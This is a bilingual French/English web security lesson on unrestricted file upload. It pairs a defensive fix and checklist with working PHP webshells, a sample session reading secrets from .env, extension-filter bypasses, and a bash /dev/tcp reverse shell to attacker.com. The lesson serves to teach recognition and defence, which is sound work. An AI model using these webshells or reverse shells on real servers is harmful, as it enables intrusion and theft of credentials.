Leçon 2/6 11 min

Upload de fichiers et webshell

Un formulaire d'avatar mal protégé laisse déposer un shell.php. Dépose un webshell, fix : allowlist et nom aléatoire.

Le fichier qu'on dépose, puis qu'on exécute

Un site propose de changer sa photo de profil. Dans la leçon précédente, on manipulait le chemin d'un fichier que le serveur allait lire (path traversal) ; ici on va plus loin : on dépose carrément le fichier qu'on lui impose. Le fil conducteur est le même, le serveur fait confiance à une entrée liée aux fichiers qu'il ne devrait pas contrôler.

Côté serveur, le code enregistre le fichier reçu dans un dossier uploads/ public, en gardant le nom envoyé :

move_uploaded_file(
    $_FILES['avatar']['tmp_name'],
    "uploads/" . $_FILES['avatar']['name']   // on garde le nom du client
);

Un attaquant n'envoie pas une photo. Il envoie un fichier nommé shell.php qui contient une seule ligne :

<?php system($_GET['c']); ?>

Le serveur l'enregistre dans uploads/shell.php. Et comme ce dossier est servi par le web et exécuté en PHP, il suffit de visiter l'URL pour lancer des commandes :

monsite.com/uploads/shell.php?c=id
# → uid=33(www-data) gid=33(www-data)

C'est gagné : l'attaquant exécute du code sur le serveur. Ce petit fichier s'appelle un webshell, et c'est une prise complète de la machine (RCE). Tout part d'un upload qui a fait confiance au fichier reçu : on l'appelle upload non restreint. Ce n'est pas une injection au sens strict, mais une faille de conception et de configuration (un dossier d'upload exécutable) qui mène droit au RCE.

Upload : où le fichier atterrit décide tout Serveur vulnérable shell.php dossier exécuté RCE stocké on visite Serveur sécurisé shell.php hors du webroot inerte renommé non exécuté
Même fichier, deux serveurs. Ce qui décide, c'est l'endroit où il atterrit : un dossier qui exécute le PHP, ou un dossier où il ne peut rien faire.

À quoi ressemble un vrai webshell

La ligne précédente est déjà un webshell complet. En pratique, l'attaquant en dépose une version à peine plus longue, avec une petite interface, pour piloter la machine depuis son navigateur. Une dizaine de lignes suffisent :

<?php
// shell.php — webshell minimal mais réaliste. À RECONNAÎTRE, jamais à déployer.
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    system($_REQUEST['cmd']);   // exécute N'IMPORTE QUELLE commande système
    echo '</pre>';
}
?>
<form method="get">
  <input name="cmd" placeholder="commande…" autofocus>
  <button>Exécuter</button>
</form>

Ce fichier transforme une URL en terminal sur le serveur. L'attaquant tape ses commandes dans le champ (ou directement dans l'URL avec ?cmd=…) et lit le résultat dans la page. Une vraie session ressemble à ça :

GET /uploads/shell.php?cmd=id
→ uid=33(www-data) gid=33(www-data)

GET /uploads/shell.php?cmd=cat /var/www/.env
→ DB_PASSWORD=Pr0d-9f2a!   STRIPE_SECRET=sk_live_…

GET /uploads/shell.php?cmd=uname -a
→ Linux web-prod 6.1.0 … x86_64   (reconnaissance du système)

De là, il passe à un contrôle vraiment interactif en ouvrant un reverse shell : il fait appeler sa propre machine par le serveur, et récupère un shell comme s'il était devant le clavier.

# le webshell lance un reverse shell vers la machine de l'attaquant :
bash -i >& /dev/tcp/attaquant.com/4444 0>&1
# côté attaquant, un simple « nc -lvnp 4444 » reçoit le shell : il est dans la machine.

Mesurez l'enjeu : une dizaine de lignes déposées, et l'attaquant lit vos secrets, vide vos données, installe une porte dérobée et pivote vers le reste de l'infra. On le montre ici pour reconnaître cette menace et savoir la bloquer (section 4). On ne dépose un tel fichier que sur ses propres systèmes ou une cible explicitement autorisée (leçon 1).

Pourquoi ça marche

Le serveur fait confiance à trois choses fournies par le client, et les trois mentent : le nom du fichier, son extension, et son type MIME (Content-Type). L'attaquant contrôle les trois. Il peut donc faire passer du PHP pour une image.

D'où l'idée naïve : « je bloque les .php ». Sauf que c'est une blacklist, et une blacklist se contourne toujours :

  • D'autres extensions exécutables que le filtre oublie : .phtml, .php5, .phar, .pht.
  • La casse : shell.pHp passe un filtre qui ne teste que .php en minuscules, mais le serveur l'exécute quand même.
  • La double extension : shell.php.jpg sur un serveur mal configuré, ou shell.jpg + un .htaccess uploadé qui force l'exécution.
  • Le faux Content-Type : annoncer image/png pour un fichier PHP. Le client choisit ce qu'il déclare.
  • Le polyglotte : une vraie image avec du PHP caché dans ses métadonnées EXIF, renommée .php : elle passe getimagesize() et s'exécute.

Le faux remède : vérifier $_FILES['type'] (le MIME annoncé) ne sert à rien : c'est le client qui l'écrit. Et bloquer une liste d'extensions « dangereuses » laisse toujours passer une variante. La vraie parade n'est pas de filtrer le mauvais, c'est d'autoriser uniquement le bon, vérifié sur le contenu réel, et de stocker le fichier là où il ne pourra jamais s'exécuter (section 4).

À vous d'attaquer : déposez un webshell

Voici un formulaire d'avatar vraiment vulnérable, simulé dans votre navigateur. Le serveur bloque naïvement les .php. Trouvez une variante qui passe le filtre et reste exécutable, déposez le webshell, puis visitez-le. Ensuite, activez la version sécurisée. Tout est simulé, aucune requête réseau.

Changer mon avatar · monsite.com

        
Bloqué ? Voir la solution

Choisissez le contenu Webshell PHP, puis un nom qui échappe au filtre .php tout en restant exécutable :

shell.phtml, shell.php5, ou shell.pHp (le filtre ne teste que .php en minuscules). Le fichier est stocké dans uploads/, puis le bouton Visiter l'exécute : id répond www-data. En version sécurisée, le contenu est vérifié : ce n'est pas une vraie image, donc refusé. Et même s'il passait, le fichier serait renommé au hasard et stocké hors du dossier web : jamais exécutable.

Le correctif : autoriser le bon, et stocker où rien ne s'exécute

Un upload sûr empile plusieurs gardes-fous. Aucun seul ne suffit ; ensemble, ils ferment toutes les portes.

// 1. Allowlist d'extensions ET vérification du contenu réel
$autorisees = ['jpg' => 'image/jpeg', 'png' => 'image/png', 'webp' => 'image/webp'];
$ext = strtolower(pathinfo($_FILES['avatar']['name'], PATHINFO_EXTENSION));
if (!isset($autorisees[$ext])) { http_response_code(415); exit; }

// le vrai type, lu dans le fichier, pas le Content-Type annoncé par le client
$reel = (new finfo(FILEINFO_MIME_TYPE))->file($_FILES['avatar']['tmp_name']);
if ($reel !== $autorisees[$ext]) { http_response_code(415); exit; }

// 2. Nom généré par le serveur (l'entrée ne décide jamais du nom)
$nom = bin2hex(random_bytes(16)) . '.' . $ext;

// 3. Stockage HORS du dossier web (ou dossier sans exécution PHP)
move_uploaded_file($_FILES['avatar']['tmp_name'], '/var/app/uploads/' . $nom);

Pour les images, ajoutez une étape qui désamorce les polyglottes : ré-encoder l'image. La relire et la réécrire avec GD ou Imagick reconstruit un fichier propre et jette tout ce qui était caché dans les métadonnées.

$img = imagecreatefromstring(file_get_contents($tmp));   // échoue si ce n'est pas une image
imagepng($img, '/var/app/uploads/' . $nom);              // réécrit une image saine

Le point qui sauve tout : où le fichier est stocké. Même un webshell parfait est inoffensif s'il atterrit dans un dossier que le serveur ne sait pas exécuter. Stockez les uploads hors du dossier web, ou désactivez l'exécution PHP dans ce dossier (config serveur), et servez-les via un script qui impose le bon Content-Type. Un fichier qui ne s'exécute pas n'est plus une faille.

Défense en profondeur :

  1. allowlist d'extensions (jamais une blacklist du « dangereux ») ;
  2. vérifier le contenu réel (finfo, getimagesize), jamais le Content-Type du client ;
  3. ré-encoder les images pour casser les polyglottes ;
  4. nom généré par le serveur (l'entrée ne choisit ni le nom ni l'extension finale) ;
  5. stockage hors du dossier web, ou dossier sans exécution, servi par un script ;
  6. taille limitée et antivirus si le fichier sera partagé.

Référence : OWASP Unrestricted File Upload.

La méthode et l'arsenal du pentester

On vient de voir comment construire une défense solide. Voyons maintenant comment un pentester attaque ce même formulaire, étape par étape, pour vérifier que rien ne passe.

1. Repérer les points d'upload. Avatar, pièce jointe, import CSV, photo d'annonce, document justificatif : partout où le site accepte un fichier, on teste.

2. Sonder le filtre. On envoie d'abord un shell.php franc. S'il est refusé, on déroule les contournements : extensions alternatives (.phtml, .php5), casse (.pHp), double extension (.php.jpg), faux Content-Type, octet nul, et l'image polyglotte avec du PHP en EXIF.

3. Localiser puis exécuter. Il faut trouver le fichier est servi (souvent /uploads/, le nom dans la réponse ou prévisible). On visite l'URL : si le webshell répond, c'est le RCE. Sinon, on vise d'autres impacts (XSS stockée via un SVG, écrasement de fichiers).

L'arsenal.

L'impact

Un upload non restreint est l'une des failles les plus graves, parce qu'elle mène souvent au RCE : avec un webshell, l'attaquant exécute des commandes sur le serveur, lit la base, pose une porte dérobée, et pivote vers le reste de l'infrastructure. C'est une compromission totale, pas une fuite ponctuelle.

Et même sans exécution PHP, un upload mal géré fait des dégâts : un SVG ou un HTML uploadé puis ouvert dans le navigateur déclenche une XSS stockée ; un zip-bomb sature le disque ; un fichier qui écrase un chemin existant corrompt l'application ; un faux « justificatif » sert d'hébergement à du contenu illégal sous votre domaine.

Ce que ça révèle côté défense : un fichier reçu n'est pas une donnée de confiance, c'est une entrée comme une autre. On autorise un type précis vérifié sur le contenu, on renomme côté serveur, et surtout on stocke là où rien ne s'exécute. La dernière ligne de défense n'est pas le filtre d'extension, c'est l'endroit où le fichier atterrit. La confiance se vérifie (leçon 1).

La checklist upload

À vérifier sur tout formulaire qui accepte un fichier.

  • Allowlist d'extensions, jamais une blacklist du « dangereux ».
  • Type réel vérifié (finfo/getimagesize), pas le Content-Type du client.
  • Images ré-encodées pour casser les polyglottes.
  • Nom généré par le serveur, l'entrée ne décide ni du nom ni de l'extension.
  • Stockage hors du dossier web (ou exécution désactivée), servi par un script.
  • Taille limitée, et analyse antivirus si le fichier est partagé.

Les références. L'OWASP Unrestricted File Upload et l'OWASP File Upload Cheat Sheet détaillent chaque garde-fou. Pour s'entraîner : les labs File upload de la Web Security Academy.

Rappel. Déposer un webshell sur un serveur qui n'est pas le vôtre est une intrusion, lourdement punie. On ne teste que ses propres systèmes ou une cible explicitement autorisée (leçon 1 du cours principal).

The file you drop, then execute

A site lets you change your profile picture. In the previous lesson, we manipulated the path of a file the server was about to read (path traversal); here we go further: we drop the very file we impose on it. The thread is the same — the server trusts a file-related input it should never control.

On the server, the code saves the received file in a public uploads/ folder, keeping the name sent:

move_uploaded_file(
    $_FILES['avatar']['tmp_name'],
    "uploads/" . $_FILES['avatar']['name']   // we keep the client's name
);

An attacker doesn't send a photo. They send a file named shell.php containing a single line:

<?php system($_GET['c']); ?>

The server saves it to uploads/shell.php. And because this folder is served by the web and runs PHP, just visiting the URL runs commands:

mysite.com/uploads/shell.php?c=id
# → uid=33(www-data) gid=33(www-data)

Done: the attacker runs code on the server. That tiny file is a webshell, and it's a full takeover of the machine (RCE). It all starts with an upload that trusted the received file: it's called unrestricted file upload. It isn't injection in the strict sense, but a design and configuration flaw (an executable upload folder) that leads straight to RCE.

File upload: where the file lands decides everything Vulnerable server shell.php folder runs PHP RCE stored you visit Secure server shell.php outside webroot inert renamed not executed
Same file, two servers. What decides is where it lands: a folder that runs PHP, or a folder where it can do nothing.

What a real webshell looks like

The previous line is already a full webshell. In practice, the attacker drops a barely longer version, with a small interface, to drive the machine from their browser. About ten lines are enough:

<?php
// shell.php — minimal but realistic webshell. To RECOGNISE, never to deploy.
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    system($_REQUEST['cmd']);   // runs ANY system command
    echo '</pre>';
}
?>
<form method="get">
  <input name="cmd" placeholder="command…" autofocus>
  <button>Run</button>
</form>

This file turns a URL into a terminal on the server. The attacker types commands in the field (or straight in the URL with ?cmd=…) and reads the output in the page. A real session looks like this:

GET /uploads/shell.php?cmd=id
→ uid=33(www-data) gid=33(www-data)

GET /uploads/shell.php?cmd=cat /var/www/.env
→ DB_PASSWORD=Pr0d-9f2a!   STRIPE_SECRET=sk_live_…

GET /uploads/shell.php?cmd=uname -a
→ Linux web-prod 6.1.0 … x86_64   (system reconnaissance)

From there, they move to truly interactive control by opening a reverse shell: they make the server call their own machine and get a shell as if sitting at the keyboard.

# the webshell launches a reverse shell to the attacker's machine:
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# on the attacker side, a plain "nc -lvnp 4444" receives the shell: they're in the machine.

Grasp the stakes: ten lines dropped, and the attacker reads your secrets, drains your data, installs a backdoor and pivots to the rest of the infrastructure. We show it here so you recognise the threat and know how to block it (section 4). You only drop such a file on your own systems or an explicitly authorized target (lesson 1).

Why it works

The server trusts three things provided by the client, and all three lie: the file's name, its extension, and its MIME type (Content-Type). The attacker controls all three. So they can make PHP look like an image.

Hence the naive idea: "I'll block .php". Except it's a blacklist, and a blacklist is always bypassable:

  • Other executable extensions the filter forgets: .phtml, .php5, .phar, .pht.
  • Case: shell.pHp passes a filter that only tests lowercase .php, but the server runs it anyway.
  • Double extension: shell.php.jpg on a misconfigured server, or shell.jpg + an uploaded .htaccess forcing execution.
  • Fake Content-Type: declaring image/png for a PHP file. The client chooses what it declares.
  • The polyglot: a real image with PHP hidden in its EXIF metadata, renamed .php: it passes getimagesize() and executes.

The false cure: checking $_FILES['type'] (the declared MIME) is useless: the client writes it. And blocking a list of "dangerous" extensions always lets a variant through. The real fix isn't filtering the bad, it's to allow only the good, verified on the real content, and to store the file where it can never execute (section 4).

Your turn to attack: drop a webshell

Here's a genuinely vulnerable avatar form, simulated in your browser. The server naively blocks .php. Find a variant that passes the filter and stays executable, drop the webshell, then visit it. Then switch on the secure version. Everything is simulated, no network request.

Change my avatar · mysite.com

        
Stuck? Show the solution

Pick the PHP webshell content, then a name that escapes the .php filter while staying executable:

shell.phtml, shell.php5, or shell.pHp (the filter only tests lowercase .php). The file is stored in uploads/, then the Visit button runs it: id replies www-data. In the secure version, the content is verified (it's not a real image → rejected), and even if accepted it would be renamed randomly and stored outside the web folder: never executable.

The fix: allow the good, and store where nothing executes

A safe upload stacks several guardrails. None alone is enough; together, they close every door.

// 1. Allowlist of extensions AND real content check
$allowed = ['jpg' => 'image/jpeg', 'png' => 'image/png', 'webp' => 'image/webp'];
$ext = strtolower(pathinfo($_FILES['avatar']['name'], PATHINFO_EXTENSION));
if (!isset($allowed[$ext])) { http_response_code(415); exit; }

// the real type, read from the file — not the Content-Type the client declared
$real = (new finfo(FILEINFO_MIME_TYPE))->file($_FILES['avatar']['tmp_name']);
if ($real !== $allowed[$ext]) { http_response_code(415); exit; }

// 2. Server-generated name (input never decides the name)
$name = bin2hex(random_bytes(16)) . '.' . $ext;

// 3. Storage OUTSIDE the web folder (or a folder with no PHP execution)
move_uploaded_file($_FILES['avatar']['tmp_name'], '/var/app/uploads/' . $name);

For images, add a step that defuses polyglots: re-encode the image. Reading it and writing it back with GD or Imagick rebuilds a clean file and throws away anything hidden in the metadata.

$img = imagecreatefromstring(file_get_contents($tmp));   // fails if it isn't an image
imagepng($img, '/var/app/uploads/' . $name);             // rewrites a clean image

The point that saves everything: where the file is stored. Even a perfect webshell is harmless if it lands in a folder the server can't execute. Store uploads outside the web folder, or disable PHP execution in that folder (server config), and serve them through a script that sets the right Content-Type. A file that doesn't run is no longer a flaw.

Defense in depth:

  1. allowlist of extensions (never a blacklist of the "dangerous");
  2. verify the real content (finfo, getimagesize), never the client's Content-Type;
  3. re-encode images to break polyglots;
  4. server-generated name (input picks neither the name nor the final extension);
  5. storage outside the web folder, or no-execution folder, served by a script;
  6. size limit and antivirus if the file will be shared.

Reference: OWASP Unrestricted File Upload.

The pentester's method and arsenal

Now that we've built the defenses, let's look at how a pentester attacks the same form — step by step — to make sure nothing slips through.

1. Spot the upload points. Avatar, attachment, CSV import, listing photo, supporting document: anywhere the site accepts a file, you test.

2. Probe the filter. You first send a plain shell.php. If it's rejected, you run the bypasses: alternate extensions (.phtml, .php5), case (.pHp), double extension (.php.jpg), fake Content-Type, null byte, and the polyglot image with PHP in EXIF.

3. Locate then execute. You need to find where the file is served (often /uploads/, the name in the response or predictable). You visit the URL: if the webshell answers, it's RCE. Otherwise, you aim for other impacts (stored XSS via an SVG, file overwrite).

The arsenal.

The impact

An unrestricted upload is one of the most severe flaws, because it often leads to RCE: with a webshell, the attacker runs commands on the server, reads the database, plants a backdoor, and pivots to the rest of the infrastructure. It's a total compromise, not a one-off leak.

And even without PHP execution, a badly handled upload does damage: an uploaded SVG or HTML opened in the browser triggers a stored XSS; a zip bomb fills the disk; a file overwriting an existing path corrupts the app; a fake "document" hosts illegal content under your domain.

What this reveals for defense: a received file isn't trusted data, it's an input like any other. You allow one precise type verified on the content, you rename server-side, and above all you store where nothing executes. The last line of defense isn't the extension filter, it's where the file lands. Trust is verified (lesson 1).

The upload checklist

To check on every form that accepts a file.

  • Allowlist of extensions, never a blacklist of the "dangerous".
  • Real type verified (finfo/getimagesize), not the client's Content-Type.
  • Images re-encoded to break polyglots.
  • Server-generated name, input decides neither name nor extension.
  • Storage outside the web folder (or execution disabled), served by a script.
  • Size limit, and antivirus scan if the file is shared.

The references. The OWASP Unrestricted File Upload and the OWASP File Upload Cheat Sheet detail each guardrail. To practice: the File upload labs of the Web Security Academy.

Reminder. Dropping a webshell on a server that isn't yours is an intrusion, heavily punished. Only test your own systems or an explicitly authorized target (lesson 1 of the main course).

Prédisez avant de lire

Un site bloque les uploads dont le Content-Type n'est pas image/png. Avant de dérouler : un attaquant qui veut déposer un shell.php est-il arrêté ?

Voir la réponse

Non. Le Content-Type est écrit par le client : avec un proxy comme Burp, l'attaquant envoie son shell.php en déclarant Content-Type: image/png. Le filtre voit « image », laisse passer, et le fichier PHP atterrit sur le serveur. On ne valide jamais un fichier sur ce que le client annonce : on vérifie le contenu réel (finfo), on impose une allowlist d'extensions, et on stocke hors du dossier exécutable.

Predict before reading on

A site blocks uploads whose Content-Type isn't image/png. Before you expand: is an attacker who wants to drop a shell.php stopped?

Show the answer

No. The Content-Type is written by the client: with a proxy like Burp, the attacker sends their shell.php declaring Content-Type: image/png. The filter sees "image", lets it through, and the PHP file lands on the server. You never validate a file on what the client declares: you check the real content (finfo), enforce an extension allowlist, and store outside the executable folder.

🎯 Pratique

S'entraîner (clique pour ouvrir) :

💬 Ré-explique sans regarder
Ré-explique sans regarder

Avec tes mots : comment un upload d'avatar devient une prise du serveur (qu'est-ce qu'un webshell ?), et pourquoi bloquer les .php ne suffit pas ?

Une bonne explication dit : le serveur enregistre le fichier reçu en gardant le nom du client, dans un dossier exécuté en PHP. Un attaquant y dépose un webshell (une ligne de PHP comme system($_GET['c'])) ; visiter son URL exécute des commandes sur le serveur (RCE). Bloquer .php est une blacklist contournable : .phtml, .php5, .pHp, double extension, faux Content-Type, image polyglotte avec du PHP en EXIF. La parade empile : allowlist d'extensions, vérification du contenu réel (finfo), ré-encodage des images, nom généré par le serveur, et surtout stockage hors du dossier exécutable : un fichier qui ne s'exécute pas n'est plus une faille.
🧠 Rappel libre
Rappel libre

Sans remonter : explique comment un upload mène au RCE (le webshell), pourquoi bloquer .php ne suffit pas, et les parades clés (allowlist, contenu réel, stockage non exécutable).

Le serveur enregistre le fichier reçu dans un dossier exécutable en gardant le nom du client ; un webshell (<?php system($_GET['c']) ?>) déposé puis visité exécute des commandes (RCE). Bloquer .php ne suffit pas : c'est une blacklist, contournée par .phtml, .php5, .pHp, la double extension, le faux Content-Type, l'image polyglotte. Parades : allowlist d'extensions, vérification du contenu réel (finfo/getimagesize), ré-encodage des images, nom généré par le serveur, et surtout stockage hors du dossier exécutable.
⚖️ Juge le code de l'IA
Accepter ou rejeter le code de l'IA

Tu demandes à l'IA de sécuriser ton upload d'avatar. Elle répond : « Je vérifie le type avec $_FILES['avatar']['type'] === 'image/png', et je refuse les .php. C'est bon. » Tu acceptes, ou tu rejettes ?

À rejeter : les deux contrôles sont faibles. $_FILES['type'] est le Content-Type annoncé par le client : il se falsifie en une seconde avec un proxy. Et refuser .php est une blacklist : .phtml, .php5, .pHp passent. Il manque l'essentiel : vérifier le contenu réel (finfo ou getimagesize sur le fichier temporaire), imposer une allowlist d'extensions, renommer côté serveur, et surtout stocker hors du dossier exécutable (ou désactiver l'exécution). C'est ce dernier point qui rend un webshell inoffensif, même s'il a réussi à passer.
Qu'est-ce qu'un webshell uploadé permet à l'attaquant ?
Pourquoi bloquer l'extension .php ne protège pas ?
Pourquoi vérifier $_FILES['type'] (le Content-Type) est inutile ?
Quel garde-fou rend un webshell inoffensif même s'il a passé les filtres ?
Prochaine étape

Vous savez déposer un fichier qui prend le serveur. La leçon suivante fait parler le serveur lui-même : le SSRF, où l'on force votre application à requêter des adresses internes pour atteindre ce qui n'est pas exposé.

Leçon 3 : SSRF →
Besoin d'un développeur pour votre projet ?

Réponse sous 24h · Sans engagement